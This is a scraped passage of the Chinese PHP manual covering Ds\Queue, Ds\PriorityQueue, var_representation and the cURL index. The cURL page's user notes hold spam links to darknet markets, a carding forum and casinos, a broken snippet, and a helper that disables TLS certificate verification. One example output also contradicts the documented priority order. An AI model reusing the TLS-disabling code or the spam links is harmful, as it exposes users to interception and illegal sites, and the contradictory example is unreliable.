参数

此函数没有参数。

返回值

Returns a shallow copy of the queue.

示例

Example #1 Ds\Queue::copy() example

<?php
$a = new \Ds\Queue([1, 2, 3]);
$b = $a->copy();

// Updating the copy doesn't affect the original
$b->push(4);

print_r($a);
print_r($b);
?>

以上示例的输出类似于：

Ds\Queue Object
(
    [0] => 1
    [1] => 2
    [2] => 3
)
Ds\Queue Object
(
    [0] => 1
    [1] => 2
    [2] => 3
    [3] => 4
)

User Contributed Notes

There are no user contributed notes for this page.


Returns the number of values in the queue

  • ? Ds\Queue::copy
  • Ds\Queue::isEmpty ?
  • PHP Manual
  • Ds\Queue
  • Returns the number of values in the queue

Ds\Queue::count

(PECL ds >= 1.0.0)

Ds\Queue::count — Returns the number of values in the queue

See Countable::count()

User Contributed Notes

There are no user contributed notes for this page.


Returns whether the queue is empty

  • ? Ds\Queue::count
  • Ds\Queue::jsonSerialize ?
  • PHP Manual
  • Ds\Queue
  • Returns whether the queue is empty

Ds\Queue::isEmpty

(PECL ds >= 1.0.0)

Ds\Queue::isEmpty — Returns whether the queue is empty

说明

public Ds\Queue::isEmpty(): bool

Returns whether the queue is empty.

参数

此函数没有参数。

返回值

Returns true if the queue is empty, false otherwise.

示例

Example #1 Ds\Queue::isEmpty() example

<?php
$a = new \Ds\Queue([1, 2, 3]);
$b = new \Ds\Queue();

var_dump($a->isEmpty());
var_dump($b->isEmpty());
?>

以上示例的输出类似于：

bool(false)
bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Returns a representation that can be converted to JSON

  • ? Ds\Queue::isEmpty
  • Ds\Queue::peek ?
  • PHP Manual
  • Ds\Queue
  • Returns a representation that can be converted to JSON

Ds\Queue::jsonSerialize

(PECL ds >= 1.0.0)

Ds\Queue::jsonSerialize — Returns a representation that can be converted to JSON

See JsonSerializable::jsonSerialize()

Note:

You should never need to call this directly.

User Contributed Notes

There are no user contributed notes for this page.


Returns the value at the front of the queue

  • ? Ds\Queue::jsonSerialize
  • Ds\Queue::pop ?
  • PHP Manual
  • Ds\Queue
  • Returns the value at the front of the queue

Ds\Queue::peek

(PECL ds >= 1.0.0)

Ds\Queue::peek — Returns the value at the front of the queue

说明

public Ds\Queue::peek(): mixed

Returns the value at the front of the queue, but does not remove it.

参数

此函数没有参数。

返回值

The value at the front of the queue.

错误／异常

UnderflowException if empty.

示例

Example #1 Ds\Queue::peek() example

<?php
$queue = new \Ds\Queue();

$queue->push("a");
$queue->push("b");
$queue->push("c");

var_dump($queue->peek());
?>

以上示例的输出类似于：

string(1) "a"

User Contributed Notes

There are no user contributed notes for this page.


Removes and returns the value at the front of the queue

  • ? Ds\Queue::peek
  • Ds\Queue::push ?
  • PHP Manual
  • Ds\Queue
  • Removes and returns the value at the front of the queue

Ds\Queue::pop

(PECL ds >= 1.0.0)

Ds\Queue::pop — Removes and returns the value at the front of the queue

说明

public Ds\Queue::pop(): mixed

Removes and returns the value at the front of the queue.

参数

此函数没有参数。

返回值

The removed value which was at the front of the queue.

错误／异常

UnderflowException if empty.

示例

Example #1 Ds\Queue::pop() example

<?php
$queue = new \Ds\Queue();

$queue->push("a");
$queue->push("b");
$queue->push("c");

var_dump($queue->pop());
var_dump($queue->pop());
var_dump($queue->pop());
?>

以上示例的输出类似于：

string(1) "a"
string(1) "b"
string(1) "c"

User Contributed Notes

There are no user contributed notes for this page.


Pushes values into the queue

  • ? Ds\Queue::pop
  • Ds\Queue::toArray ?
  • PHP Manual
  • Ds\Queue
  • Pushes values into the queue

Ds\Queue::push

(PECL ds >= 1.0.0)

Ds\Queue::push — Pushes values into the queue

说明

public Ds\Queue::push(mixed ...$values): void

Pushes values into the queue.

参数

values

The values to push into the queue.

返回值

没有返回值。

示例

Example #1 Ds\Queue::push() example

<?php
$queue = new \Ds\Queue();

$queue->push("a");
$queue->push("b");
$queue->push("c", "d");
$queue->push(...["e", "f"]);

print_r($queue);
?>

以上示例的输出类似于：

Ds\Queue Object
(
    [0] => a
    [1] => b
    [2] => c
    [3] => d
    [4] => e
    [5] => f
)

User Contributed Notes

There are no user contributed notes for this page.


Converts the queue to an array

  • ? Ds\Queue::push
  • Ds\PriorityQueue ?
  • PHP Manual
  • Ds\Queue
  • Converts the queue to an array

Ds\Queue::toArray

(PECL ds >= 1.0.0)

Ds\Queue::toArray — Converts the queue to an array

说明

public Ds\Queue::toArray(): array

Converts the queue to an array.

Note:

Casting to an array is not supported yet.

Note:

This method is not destructive.

参数

此函数没有参数。

返回值

An array containing all the values in the same order as the queue.

示例

Example #1 Ds\Queue::toArray() example

<?php
$queue = new \Ds\Queue([1, 2, 3]);

var_dump($queue->toArray());
?>

以上示例的输出类似于：

array(3) {
  [0]=>
  int(1)
  [1]=>
  int(2)
  [2]=>
  int(3)
}

User Contributed Notes

There are no user contributed notes for this page.


The PriorityQueue class

(PECL ds >= 1.0.0)

简介

A PriorityQueue is very similar to a Queue. Values are pushed into the queue with an assigned priority, and the value with the highest priority will always be at the front of the queue.

Implemented using a max heap.

Note:

"First in, first out" ordering is preserved for values with the same priority.

Note:

Iterating over a PriorityQueue is destructive, equivalent to successive pop operations until the queue is empty.

类摘要

class Ds\PriorityQueue implements Ds\Collection {
/* 常量 */
const int MIN_CAPACITY = 8;
/* 方法 */
public allocate(int $capacity): void
public capacity(): int
public clear(): void
public copy(): Ds\PriorityQueue
public isEmpty(): bool
public peek(): mixed
public pop(): mixed
public push(mixed $value, int $priority): void
public toArray(): array
}

预定义常量

Ds\PriorityQueue::MIN_CAPACITY

Table of Contents

  • Ds\PriorityQueue::allocate — Allocates enough memory for a required capacity
  • Ds\PriorityQueue::capacity — Returns the current capacity
  • Ds\PriorityQueue::clear — Removes all values
  • Ds\PriorityQueue::__construct — Creates a new instance
  • Ds\PriorityQueue::copy — Returns a shallow copy of the queue
  • Ds\PriorityQueue::count — Returns the number of values in the queue
  • Ds\PriorityQueue::isEmpty — Returns whether the queue is empty
  • Ds\PriorityQueue::jsonSerialize — Returns a representation that can be converted to JSON
  • Ds\PriorityQueue::peek — Returns the value at the front of the queue
  • Ds\PriorityQueue::pop — Removes and returns the value with the highest priority
  • Ds\PriorityQueue::push — Pushes values into the queue
  • Ds\PriorityQueue::toArray — Converts the queue to an array

User Contributed Notes

There are no user contributed notes for this page.


Allocates enough memory for a required capacity

  • ? Ds\PriorityQueue
  • Ds\PriorityQueue::capacity ?
  • PHP Manual
  • Ds\PriorityQueue
  • Allocates enough memory for a required capacity

Ds\PriorityQueue::allocate

(PECL ds >= 1.0.0)

Ds\PriorityQueue::allocate — Allocates enough memory for a required capacity

说明

public Ds\PriorityQueue::allocate(int $capacity): void

Ensures that enough memory is allocated for a required capacity. This removes the need to reallocate the internal as values are added.

参数

capacity

The number of values for which capacity should be allocated.

Note:

Capacity will stay the same if this value is less than or equal to the current capacity.

Note:

Capacity will always be rounded up to the nearest power of 2.

返回值

没有返回值。

示例

Example #1 Ds\PriorityQueue::allocate() example

<?php
$queue = new \Ds\PriorityQueue();
var_dump($queue->capacity());

$queue->allocate(100);
var_dump($queue->capacity());
?>

以上示例的输出类似于：

int(8)
int(128)

User Contributed Notes

There are no user contributed notes for this page.


Returns the current capacity

  • ? Ds\PriorityQueue::allocate
  • Ds\PriorityQueue::clear ?
  • PHP Manual
  • Ds\PriorityQueue
  • Returns the current capacity

Ds\PriorityQueue::capacity

(PECL ds >= 1.0.0)

Ds\PriorityQueue::capacity — Returns the current capacity

说明

public Ds\PriorityQueue::capacity(): int

Returns the current capacity.

参数

此函数没有参数。

返回值

The current capacity.

示例

Example #1 Ds\PriorityQueue::capacity() example

<?php
$queue = new \Ds\PriorityQueue();
var_dump($queue->capacity());
?>

以上示例的输出类似于：

int(8)

User Contributed Notes

There are no user contributed notes for this page.


Removes all values

  • ? Ds\PriorityQueue::capacity
  • Ds\PriorityQueue::__construct ?
  • PHP Manual
  • Ds\PriorityQueue
  • Removes all values

Ds\PriorityQueue::clear

(PECL ds >= 1.0.0)

Ds\PriorityQueue::clear — Removes all values

说明

public Ds\PriorityQueue::clear(): void

Removes all values from the queue.

参数

此函数没有参数。

返回值

没有返回值。

示例

Example #1 Ds\PriorityQueue::clear() example

<?php
$queue = new \Ds\PriorityQueue();

$queue->push("a", 5);
$queue->push("b", 15);
$queue->push("c", 10);

$queue->clear();
print_r($queue);
?>

以上示例的输出类似于：

Ds\PriorityQueue Object
(
)

User Contributed Notes

There are no user contributed notes for this page.


Creates a new instance

  • ? Ds\PriorityQueue::clear
  • Ds\PriorityQueue::copy ?
  • PHP Manual
  • Ds\PriorityQueue
  • Creates a new instance

Ds\PriorityQueue::__construct

(PECL ds >= 1.0.0)

Ds\PriorityQueue::__construct — Creates a new instance

说明

public Ds\PriorityQueue::__construct()

Creates a new instance.

示例

Example #1 Ds\PriorityQueue::__construct() example

<?php
$queue = new \Ds\PriorityQueue();
var_dump($queue);
?>

以上示例的输出类似于：

object(Ds\PriorityQueue)#1 (0) {
}

User Contributed Notes

There are no user contributed notes for this page.


Returns a shallow copy of the queue

  • ? Ds\PriorityQueue::__construct
  • Ds\PriorityQueue::count ?
  • PHP Manual
  • Ds\PriorityQueue
  • Returns a shallow copy of the queue

Ds\PriorityQueue::copy

(PECL ds >= 1.0.0)

Ds\PriorityQueue::copy — Returns a shallow copy of the queue

说明

public Ds\PriorityQueue::copy(): Ds\PriorityQueue

Returns a shallow copy of the queue.

参数

此函数没有参数。

返回值

Returns a shallow copy of the queue.

示例

Example #1 Ds\PriorityQueue::copy() example

<?php
$queue = new \Ds\PriorityQueue();

$queue->push("a", 5);
$queue->push("b", 15);
$queue->push("c", 10);

print_r($queue->copy());
?>

以上示例的输出类似于：

Ds\PriorityQueue Object
(
    [0] => b
    [1] => c
    [2] => a
)

User Contributed Notes

There are no user contributed notes for this page.


Returns the number of values in the queue

  • ? Ds\PriorityQueue::copy
  • Ds\PriorityQueue::isEmpty ?
  • PHP Manual
  • Ds\PriorityQueue
  • Returns the number of values in the queue

Ds\PriorityQueue::count

(PECL ds >= 1.0.0)

Ds\PriorityQueue::count — Returns the number of values in the queue

See Countable::count()

User Contributed Notes

There are no user contributed notes for this page.


Returns whether the queue is empty

  • ? Ds\PriorityQueue::count
  • Ds\PriorityQueue::jsonSerialize ?
  • PHP Manual
  • Ds\PriorityQueue
  • Returns whether the queue is empty

Ds\PriorityQueue::isEmpty

(PECL ds >= 1.0.0)

Ds\PriorityQueue::isEmpty — Returns whether the queue is empty

说明

public Ds\PriorityQueue::isEmpty(): bool

Returns whether the queue is empty.

参数

此函数没有参数。

返回值

Returns true if the queue is empty, false otherwise.

示例

Example #1 Ds\PriorityQueue::isEmpty() example

<?php
$a = new \Ds\PriorityQueue();
$b = new \Ds\PriorityQueue();

$a->push("a", 5);
$a->push("b", 15);
$a->push("c", 10);

var_dump($a->isEmpty());
var_dump($b->isEmpty());
?>

以上示例的输出类似于：

bool(false)
bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Returns a representation that can be converted to JSON

  • ? Ds\PriorityQueue::isEmpty
  • Ds\PriorityQueue::peek ?
  • PHP Manual
  • Ds\PriorityQueue
  • Returns a representation that can be converted to JSON

Ds\PriorityQueue::jsonSerialize

(PECL ds >= 1.0.0)

Ds\PriorityQueue::jsonSerialize — Returns a representation that can be converted to JSON

See JsonSerializable::jsonSerialize()

Note:

You should never need to call this directly.

User Contributed Notes

There are no user contributed notes for this page.


Returns the value at the front of the queue

  • ? Ds\PriorityQueue::jsonSerialize
  • Ds\PriorityQueue::pop ?
  • PHP Manual
  • Ds\PriorityQueue
  • Returns the value at the front of the queue

Ds\PriorityQueue::peek

(PECL ds >= 1.0.0)

Ds\PriorityQueue::peek — Returns the value at the front of the queue

说明

public Ds\PriorityQueue::peek(): mixed

Returns the value at the front of the queue, but does not remove it.

参数

此函数没有参数。

返回值

The value at the front of the queue.

错误／异常

UnderflowException if empty.

示例

Example #1 Ds\PriorityQueue::peek() example

<?php
$queue = new \Ds\PriorityQueue();

$queue->push("a", 5);
$queue->push("b", 15);
$queue->push("c", 10);

var_dump($queue->peek());
?>

以上示例的输出类似于：

string(1) "b"

User Contributed Notes

There are no user contributed notes for this page.


Removes and returns the value with the highest priority

  • ? Ds\PriorityQueue::peek
  • Ds\PriorityQueue::push ?
  • PHP Manual
  • Ds\PriorityQueue
  • Removes and returns the value with the highest priority

Ds\PriorityQueue::pop

(PECL ds >= 1.0.0)

Ds\PriorityQueue::pop — Removes and returns the value with the highest priority

说明

public Ds\PriorityQueue::pop(): mixed

Removes and returns the value at the front of the queue, ie. the value with the highest priority.

Note:

Values with equal priority fall back to FIFO (first in first out).

参数

此函数没有参数。

返回值

The removed value which was at the front of the queue.

错误／异常

UnderflowException if empty.

示例

Example #1 Ds\PriorityQueue::pop() example

<?php
$queue = new \Ds\PriorityQueue();

$queue->push("a", 5);
$queue->push("b", 15);
$queue->push("c", 10);

print_r($queue->pop());
print_r($queue->pop());
print_r($queue->pop());
?>

以上示例的输出类似于：

string(1) "a"
string(1) "b"
string(1) "c"

User Contributed Notes

There are no user contributed notes for this page.


Pushes values into the queue

  • ? Ds\PriorityQueue::pop
  • Ds\PriorityQueue::toArray ?
  • PHP Manual
  • Ds\PriorityQueue
  • Pushes values into the queue

Ds\PriorityQueue::push

(PECL ds >= 1.0.0)

Ds\PriorityQueue::push — Pushes values into the queue

说明

public Ds\PriorityQueue::push(mixed $value, int $priority): void

Pushes a value with a given priority into the queue.

参数

value

The value to push into the queue.

priority

The priority associated with the value.

返回值

没有返回值。

示例

Example #1 Ds\PriorityQueue::push() example

<?php
$queue = new \Ds\PriorityQueue();

$queue->push("a", 5);
$queue->push("b", 15);
$queue->push("c", 10);

print_r($queue->pop());
print_r($queue->pop());
print_r($queue->pop());
?>

以上示例的输出类似于：

string(1) "b"
string(1) "c"
string(1) "a"

User Contributed Notes

There are no user contributed notes for this page.


Converts the queue to an array

  • ? Ds\PriorityQueue::push
  • var_representation ?
  • PHP Manual
  • Ds\PriorityQueue
  • Converts the queue to an array

Ds\PriorityQueue::toArray

(PECL ds >= 1.0.0)

Ds\PriorityQueue::toArray — Converts the queue to an array

说明

public Ds\PriorityQueue::toArray(): array

Converts the queue to an array.

Note:

This method is not destructive.

Note:

Casting to an array is not supported yet.

参数

此函数没有参数。

返回值

An array containing all the values in the same order as the queue.

示例

Example #1 Ds\PriorityQueue::toArray() example

<?php
$queue = new \Ds\PriorityQueue();

$queue->push("a", 5);
$queue->push("b", 15);
$queue->push("c", 10);

var_dump($queue->toArray());
?>

以上示例的输出类似于：

array(3) {
  [0]=>
  string(1) "b"
  [1]=>
  string(1) "c"
  [2]=>
  string(1) "a"
}

User Contributed Notes

There are no user contributed notes for this page.


var_representation

  • 简介
  • 安装/配置
    • 需求
    • 安装
  • 预定义常量
  • var_representation 函数
    • var_representation — Returns a short, readable, parsable string representation of a variable

User Contributed Notes

There are no user contributed notes for this page.


简介

The var_representation extension provides a compact alternative to var_export() that properly escapes control characters.

User Contributed Notes

There are no user contributed notes for this page.


安装

此 » PECL 扩展未与 PHP 捆绑。

安装此 PECL 扩展相关的信息可在手册中标题为 PECL 扩展的安装章节中找到。更多信息如新的发行版本、下载、源文件、 维护人员信息及变更日志等，都在此处： » https://pecl.php.net/package/var_representation.

此扩展在 Windows 平台的二进制扩展 (DLL 文件) PECL 可以在 PECL 官方网站上下载。

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

VAR_REPRESENTATION_SINGLE_LINE (int)
var_representation() flag indicating that newlines should not be used for whitespace in variable representations.
VAR_REPRESENTATION_UNESCAPED (int)
var_representation() flag indicating that strings should be encoded as single quoted strings with unescaped control characters.

User Contributed Notes

There are no user contributed notes for this page.


var_representation 函数

Table of Contents

  • var_representation — Returns a short, readable, parsable string representation of a variable

User Contributed Notes

There are no user contributed notes for this page.


Returns a short, readable, parsable string representation of a variable

  • ? var_representation 函数
  • 其它服务 ?
  • PHP Manual
  • var_representation 函数
  • Returns a short, readable, parsable string representation of a variable

var_representation

(PECL var_representation >= 0.1.0)

var_representation — Returns a short, readable, parsable string representation of a variable

说明

var_representation(mixed $value, int $flags = 0): string

var_representation() (from the var_representation PECL) returns a string with structured information about the given variable. It is similar to var_export() with differences in indentation, string escaping, and array representations.

参数

value

The variable to generate a representation of.

flags

Bitmask consisting of VAR_REPRESENTATION_SINGLE_LINE, VAR_REPRESENTATION_UNESCAPED. The behaviour of these constants is described on the var_representation constants page.

返回值

Returns the variable representation.

示例

Example #1 var_representation() Examples

<?php
$a = [1, 2, ['key' => 'value']];
echo var_representation($a), "\n";
echo var_representation($a, VAR_REPRESENTATION_SINGLE_LINE), "\n";
?>

以上示例会输出：

[
  1,
  2,
  [
    'key' => 'value',
  ],
]
[1, 2, ['key' => 'value']]

Example #2 Escaping control characters

<?php
echo var_representation("Content-Length: 123\r\n");

以上示例会输出：

"Content-Length: 123\r\n"

Example #3 Exporting stdClass

<?php
$person = new stdClass;
$person->name = 'ElePHPant ElePHPantsdotter';
$person->website = 'https://php.net/elephpant.php';

echo var_representation($person);

以上示例会输出：

(object) [
  'name' => 'ElePHPant ElePHPantsdotter',
  'website' => 'https://php.net/elephpant.php',
]

Example #4 Exporting classes

<?php
class A { public $var; }
$a = new A;
$a->var = 5;
echo var_representation($a);
?>

以上示例会输出：

\A::__set_state([
  'var' => 5,
])

Example #5 Using __set_state()

<?php
class A
{
public $var1;
public $var2;

public static function __set_state($an_array)
{
$obj = new A;
$obj->var1 = $an_array['var1'];
$obj->var2 = $an_array['var2'];
return $obj;
}
}

$a = new A;
$a->var1 = 5;
$a->var2 = 'foo';

eval('$b = ' . var_representation($a) . ';'); // $b = \A::__set_state([
// 'var1' => 5,
// 'var2' => 'foo',
// ]);
var_dump($b);
?>

以上示例会输出：

object(A)#2 (2) {
  ["var1"]=>
  int(5)
  ["var2"]=>
  string(3) "foo"
}

参见

  • var_export() - 输出或返回变量的可解析字符串表示

User Contributed Notes

There are no user contributed notes for this page.


其它服务

  • cURL — Client URL 库
    • 简介
    • 安装/配置
    • 预定义常量
    • 示例
    • cURL 函数
    • CurlHandle — CurlHandle 类
    • CurlMultiHandle — CurlMultiHandle 类
    • CurlShareHandle — CurlShareHandle 类
    • CURLFile — CURLFile 类
    • CURLStringFile — CURLStringFile 类
  • Event
    • 简介
    • 安装/配置
    • 示例
    • Event flags
    • About event persistence
    • Event callbacks
    • Constructing signal events
    • Event — The Event class
    • EventBase — The EventBase class
    • EventBuffer — The EventBuffer class
    • EventBufferEvent — The EventBufferEvent class
    • About buffer event callbacks
    • EventConfig — EventConfig 类
    • EventDnsBase — The EventDnsBase class
    • EventHttp — The EventHttp class
    • EventHttpConnection — The EventHttpConnection class
    • EventHttpRequest — The EventHttpRequest class
    • EventListener — The EventListener class
    • EventSslContext — The EventSslContext class
    • EventUtil — The EventUtil class
  • FTP
    • 简介
    • 安装/配置
    • 预定义常量
    • 示例
    • FTP 函数
    • FTP\Connection — The FTP\Connection class
  • Gearman
    • 简介
    • 安装/配置
    • 预定义常量
    • 示例
    • GearmanClient — The GearmanClient class
    • GearmanJob — The GearmanJob class
    • GearmanTask — The GearmanTask class
    • GearmanWorker — The GearmanWorker class
    • GearmanException — The GearmanException class
  • LDAP — Lightweight Directory Access Protocol
    • 简介
    • 安装/配置
    • 预定义常量
    • Using the PHP LDAP calls
    • LDAP controls
    • 示例
    • LDAP 函数
    • LDAP\Connection — The LDAP\Connection class
    • LDAP\Result — The LDAP\Result class
    • LDAP\ResultEntry — The LDAP\ResultEntry class
  • Memcache
    • 简介
    • 安装/配置
    • 预定义常量
    • 示例
    • Memcache — Memcache 类
    • Memcache 函数
  • Memcached
    • 简介
    • 安装/配置
    • 预定义常量
    • 超时时间
    • 回调
    • Sessions支持
    • Memcached — Memcached 类
    • MemcachedException — MemcachedException类
  • mqseries
    • 简介
    • 安装/配置
    • 预定义常量
    • mqseries 函数
  • 网络
    • 简介
    • 安装/配置
    • 预定义常量
    • 网络 函数
  • RRD — RRDtool
    • 简介
    • 安装/配置
    • 预定义常量
    • 示例
    • RRD 函数
    • RRDCreator — The RRDCreator class
    • RRDGraph — The RRDGraph class
    • RRDUpdater — The RRDUpdater class
  • ScoutAPM
    • 简介
    • 安装/配置
    • 预定义常量
    • Scoutapm 函数
  • SNMP
    • 简介
    • 安装/配置
    • 预定义常量
    • SNMP 函数
    • SNMP — The SNMP class
    • SNMPException — The SNMPException class
  • Socket
    • 简介
    • 安装/配置
    • 预定义常量
    • 示例
    • Socket Errors
    • Socket 函数
    • Socket — Socket 类
    • AddressInfo — AddressInfo 类
  • SSH2 — Secure Shell2
    • 简介
    • 安装/配置
    • 预定义常量
    • SSH2 函数
  • Stomp — Stomp Client
    • 简介
    • 安装/配置
    • 示例
    • Stomp 函数
    • Stomp — The Stomp class
    • StompFrame — The StompFrame class
    • StompException — The StompException class
  • SVM — 支持向量机
    • 简介
    • 安装/配置
    • 示例
    • SVM — The SVM class
    • SVMModel — The SVMModel class
  • SVN — Subversion
    • 简介
    • 安装/配置
    • 预定义常量
    • SVN 函数
  • TCP — TCP Wrappers
    • 简介
    • 安装/配置
    • 预定义常量
    • TCP 函数
  • Varnish
    • 简介
    • 安装/配置
    • 预定义常量
    • 示例
    • VarnishAdmin — The VarnishAdmin class
    • VarnishStat — The VarnishStat class
    • VarnishLog — The VarnishLog class
  • YAZ
    • 简介
    • 安装/配置
    • 预定义常量
    • 示例
    • YAZ 函数
  • 0MQ 消息 — ZMQ
    • 简介
    • 安装/配置
    • ZMQ — The ZMQ class
    • ZMQContext — The ZMQContext class
    • ZMQSocket — The ZMQSocket class
    • ZMQPoll — The ZMQPoll class
    • ZMQDevice — The ZMQDevice class
  • ZooKeeper
    • 简介
    • 安装/配置
    • 预定义常量
    • ZooKeeper 函数
    • Zookeeper — The Zookeeper class
    • ZookeeperConfig — The ZookeeperConfig class
    • ZookeeperException — The ZookeeperException class
    • ZookeeperAuthenticationException — The ZookeeperAuthenticationException class
    • ZookeeperConnectionException — The ZookeeperConnectionException class
    • ZookeeperMarshallingException — The ZookeeperMarshallingException class
    • ZookeeperNoNodeException — The ZookeeperNoNodeException class
    • ZookeeperOperationTimeoutException — The ZookeeperOperationTimeoutException class
    • ZookeeperSessionException — The ZookeeperSessionException class

User Contributed Notes

There are no user contributed notes for this page.


Client URL 库

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • 示例
    • curl 基础例子
  • cURL 函数
    • curl_close — 关闭 cURL 会话
    • curl_copy_handle — 复制 cURL 句柄及其所有选项
    • curl_errno — 返回最后一次的错误代码
    • curl_error — 返回当前会话最后一次错误的字符串
    • curl_escape — 使用 URL 编码给定的字符串
    • curl_exec — 执行 cURL 会话
    • curl_getinfo — 获取一个cURL连接资源句柄的信息
    • curl_init — 初始化 cURL 会话
    • curl_multi_add_handle — 添加普通 cURL 句柄到 cURL 多句柄
    • curl_multi_close — 关闭一组 cURL 句柄
    • curl_multi_errno — 返回上一次 curl 批处理的错误码
    • curl_multi_exec — 运行当前 cURL 句柄的子连接
    • curl_multi_getcontent — 如果设置了 CURLOPT_RETURNTRANSFER，则返回 cURL 句柄的内容
    • curl_multi_info_read — 获取当前传输的有关信息
    • curl_multi_init — 返回新 cURL 批处理句柄
    • curl_multi_remove_handle — 从一组 cURL 句柄中移除一个多句柄
    • curl_multi_select — 在任意 curl_multi 连接上等待活动
    • curl_multi_setopt — 设置 cURL 并行选项
    • curl_multi_strerror — 返回字符串描述的错误代码
    • curl_pause — 暂停和取消暂停连接
    • curl_reset — 重置一个 libcurl 会话句柄的所有的选项
    • curl_setopt_array — 为 cURL 传输会话批量设置选项
    • curl_setopt — 设置 cURL 传输选项
    • curl_share_close — 关闭 cURL 共享句柄
    • curl_share_errno — 返回共享 curl 句柄的最后一次错误编号
    • curl_share_init — 初始化 cURL 共享句柄
    • curl_share_setopt — 为 cURL 共享句柄设置选项
    • curl_share_strerror — 返回错误编号对应的错误消息
    • curl_strerror — 返回错误代码的字符串描述
    • curl_unescape — 解码指定 URL 编码的字符串
    • curl_upkeep — Performs any connection upkeep checks
    • curl_version — 获取 cURL 版本信息
  • CurlHandle — CurlHandle 类
  • CurlMultiHandle — CurlMultiHandle 类
  • CurlShareHandle — CurlShareHandle 类
  • CURLFile — CURLFile 类
    • CURLFile::__construct — 创建 CURLFile 对象
    • CURLFile::getFilename — 获取文件名
    • CURLFile::getMimeType — 获取 MIME 类型
    • CURLFile::getPostFilename — 获取 POST 请求时的文件名
    • CURLFile::setMimeType — 设置 MIME 类型
    • CURLFile::setPostFilename — 设置 POST 请求时的文件名
  • CURLStringFile — CURLStringFile 类
    • CURLStringFile::__construct — 创建 CURLStringFile 对象

User Contributed Notes

Lloydtig 27-Jul-2023 12:22
<a href=https://xn--mga-sb-bva.com/>мега тор</a> - mega зеркало рабочее, mega gl
Jacobtwemi 08-May-2023 02:25
<a href=http://pf-rs.ru/>Битумовозы Новый Уренгой</a> - Утилизация нефтепродуктов, Бензовозы Новый Уренгой
Donovannaply 01-Mar-2023 12:25
<a href=https://omg.omgomgdeep.com/>омг онион</a> - omg tor, omg omg darkmarket форум
AnthonyDrips 10-Feb-2023 10:18
<a href=https://torplanets.com/>mega даркнет</a> - кракен ссылка онион, кракен рабочее зеркало
Edwardlam 21-Dec-2022 04:31
<a href=https://777gaminator-slots.com>как выиграть в онлайн казино в автоматы</a> - реально ли зарабатывать в онлайн казино, играть азартные игры бесплатно регистрации
Williamexori 11-Sep-2022 02:01
мировой вебсайт <a href=https://ccccc.sb/>кардинг форум</a>
zle.lc 13-Apr-2021 02:15
Sharing is caring, handles included.

<?php

$url_one = "php.net";
$url_two = "";

$user_agent = 'Mozilla HotFox 1.0';

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url_one.$url_two);
curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_NOBODY, 0);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
$res = curl_exec($ch);
curl_close($ch);

$url_two = "lazyphp.net";
$url_one = "";
$res_two = curl_exec($ch);
curl_close($ch);

?>
jcmargentina at gmail dot com 09-Oct-2019 01:40
Please note that new versions of curl is using http2 as default, so if you are having some strange errors, 0 http status codes, etc, please explicitly specify the http version in your code.
newuser at gmail dot com 26-Sep-2018 06:49
FYI cURL support (default enabled, ok) is prerequisite for Installation and Configuration of the Collection Extension of wiki portal. https://pickbestscope.com/
user at gmail dot com 30-Aug-2018 06:50
Ratings are maintained by FFBE subreddit's Discord. Newbie questions and question whether a certain unit is good or not should be asked in .. http://ffbeunitranking.com/
politikos at live dot com 14-Jun-2018 06:06
I'm having problem to read this website.

https://jornalggn.com.br/noticia/moro-agora-levanta-sigilo-de-decisao-que-protege-delatores-de-orgaos-federais-0

Because of redirects and browser checking.
Any links from this https://jornalggn.com.br/

I'm receiving just this response:

"Checking your browser before accessing jornalggn.com.br.

This process is automatic. Your browser will redirect to your requested content shortly.

Please allow up to 5 seconds..."

Any tips, how to solve this using php_curl
Thanks in advance
--DJ
cikemic at mailtrix dot net 01-Apr-2018 08:45
After reading this post only one words comes out from my mouth that is "WoW". This post has helps me to acquire some new knowledge. So thanks for sharing your valuable ideas with us.
http://bestfrontandreardashcam.com/
ishavashi202 at gmail dot com 11-Feb-2018 04:30
Thanks https://ebestdigitalcalipers.com/
dongchao769390531 at 163 dot com 07-Jun-2017 07:23
<?php
/**
 * Curl send get request, support HTTPS protocol
 * @param string $url The request url
 * @param string $refer The request refer
 * @param int $timeout The timeout seconds
 * @return mixed
 */
function getRequest($url, $refer = "", $timeout = 10)
{
    $ssl = stripos($url,'https://') === 0 ? true : false;
    $curlObj = curl_init();
    $options = [
        CURLOPT_URL => $url,
        CURLOPT_RETURNTRANSFER => 1,
        CURLOPT_FOLLOWLOCATION => 1,
        CURLOPT_AUTOREFERER => 1,
        CURLOPT_USERAGENT => 'Mozilla/5.0 (compatible; MSIE 5.01; Windows NT 5.0)',
        CURLOPT_TIMEOUT => $timeout,
        CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_0,
        CURLOPT_HTTPHEADER => ['Expect:'],
        CURLOPT_IPRESOLVE => CURL_IPRESOLVE_V4,
    ];
    if ($refer) {
        $options[CURLOPT_REFERER] = $refer;
    }
    if ($ssl) {
        //support https
        $options[CURLOPT_SSL_VERIFYHOST] = false;
        $options[CURLOPT_SSL_VERIFYPEER] = false;
    }
    curl_setopt_array($curlObj, $options);
    $returnData = curl_exec($curlObj);
    if (curl_errno($curlObj)) {
        //error message
        $returnData = curl_error($curlObj);
    }
    curl_close($curlObj);
    return $returnData;
}

/**
 * Curl send post request, support HTTPS protocol
 * @param string $url The request url
 * @param array $data The post data
 * @param string $refer The request refer
 * @param int $timeout The timeout seconds
 * @param array $header The other request header
 * @return mixed
 */
function postRequest($url, $data, $refer = "", $timeout = 10, $header = [])
{
    $curlObj = curl_init();
    $ssl = stripos($url,'https://') === 0 ? true : false;
    $options = [
        CURLOPT_URL => $url,
        CURLOPT_RETURNTRANSFER => 1,
        CURLOPT_POST => 1,
        CURLOPT_POSTFIELDS => $data,
        CURLOPT_FOLLOWLOCATION => 1,
        CURLOPT_AUTOREFERER => 1,
        CURLOPT_USERAGENT => 'Mozilla/5.0 (compatible; MSIE 5.01; Windows NT 5.0)',
        CURLOPT_TIMEOUT => $timeout,
        CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_0,
